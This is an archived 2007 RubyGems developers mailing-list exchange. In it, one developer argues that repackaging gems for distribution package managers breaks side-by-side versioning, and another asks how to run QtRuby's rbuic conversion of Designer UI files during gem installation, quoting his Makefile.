Package Managers (e.g. RPM, deb, conary, etc.) In-Reply-To: <2aeb7abd0701240906t55d1ca4duda4bdb09f3a99be1@mail.gmail.com> References: <2aeb7abd0701240906t55d1ca4duda4bdb09f3a99be1@mail.gmail.com> Message-ID: <9e7db9110701311339p7be82c44xdf7ea7f4cf9bdd0f@mail.gmail.com> On 1/24/07, Scott Parkerson wrote: > I'm trying to come up with a relatively good way to take a Gem and > re-package its contents for other package managers. I've seen a > Gem2Spec tool for converting Gems to RPM spec filesout there, but > would like to dig a little deeper. My specific area of interest is > Conary, which is *not* a household name (yet). I don't think that your proposal is a good idea, even if your operating system supports (demands) it. One of the fundamental features of RubyGems is that multiple versions can exist side-by-side, even if those versions are otherwise incompatible, and users can specifically force a version (e.g., "gem '=1.2.3'"). When you subvert the RubyGems structure, you *will* break the expectations of people who expect "gem" (previously "require_gem") to work. This matters because individual applications in Rails can be fixed to specific versions of Rails. Trying to change this *will* piss people off at your distribution's support of Ruby and will encourage them to ignore the hard work you're doing and build Ruby themselves. Your best bet is to *use* RubyGems and simply wrap a gem in your package manager's format. RubyGems installations are non-destructive and can be rolled back without any problems since they're *always* in a new directory. I know that there are Rails applications I have used in the last few weeks that fix themselves on a specific version of Rails, because they're theoretically *incompatible* with later changes. FWIW, the "gem" method can also do '~>1.3.1' which means that any version including and after 1.3.1 up to but not including 1.4 will be acceptable for the program. This *is* different than Perl package managers. This *is* different than Python package managers. This is one of the things that I think that makes RubyGems good. -austin -- Austin Ziegler * halostatue at gmail.com * http://www.halostatue.ca/ * austin at halostatue.ca * http://www.halostatue.ca/feed/ * austin at zieglers.ca From rberger at ibd.com Wed Jan 31 17:53:54 2007 From: rberger at ibd.com (Robert J. Berger) Date: Wed, 31 Jan 2007 14:53:54 -0800 Subject: [Rubygems-developers] Proper way to include non-C code extensions / QtRuby designer UI files to a Gem Message-ID: <26FC285A-D9CB-4CDF-AE89-A7D1EDA24F21@ibd.com> I have a project that utilizes qtruby and output of the QT Designer tool. The output of the QT Designer tool are XML files (*.ui) that are then converted into Ruby files using a qtruby tool rbuic. There are also some image files (*.png or *.jpg) that need to be converted to a single ruby file also using rbuic. I would like to include these source files in the gem and have the gem install process run the rbuic commands (ideally based on dependencies and thus using Make or Rake). And then put the files in the proper place so they will be part of the require heirarchy for the rest of the Ruby code in the project's lib directory. So what would be the "Best Practices" to do this? Would they go in the ext directory and I create a extconf.rb that builds them or builds a make or rake file to build them? If so, do they go right into the target install library directory or first into the local lib directory? Or should I create its own ui directory and have the main rakefile that is installing the gem run the rbuic process as a set of tasks? Or is there another way that is most proper? Before trying to make it into a gem, I had the ui files in the same directory as the rest of my ruby files and had a makefile that ran the rbuic process: RBUIC=rbuic RBUICIMPLS=main_form.rb \ gps_options_form.rb \ ping_options_form.rb \ iperf_options_form.rb \ sniff_radio_options_form.rb \ data_radio_options_form.rb \ not_implemented_form.rb \ error_form.rb \ dhclient_form.rb \ qmake_image_collection.rb all: $(RBUICIMPLS) main_form.rb: main_form.ui $(RBUIC) -x $< -o $@ %.rb: %.ui $(RBUIC) $< -o $@ qmake_image_collection.rb: $(RBUIC) -embed skydriver \ images/editcopy.png \ images/editcut.png \ images/editpaste.png \ images/filenew.png \ images/fileopen.png \ images/filesave.png \ images/exit.png \ images/print.png \ images/redo.png \ images/searchfind.png \ images/tabwidget.png \ images/undo.png \ images/connected_32x32.png \ images/disconnected_32x32.png \ images/disconnected_64x64.png \ images/connected_64x64.png \ images/negative.png \ images/positive.png \ -o qmake_image_collection.rb clean: rm -f $(RBUICIMPLS) Thanks! ?????????????????????????????? Robert J. Berger - Internet Bandwidth Development, LLC. Voice: 408-882-4755 eFax: +1-408-490-2868 http://www.ibd.com "Until Windows is outlawed, Bots will own Windows."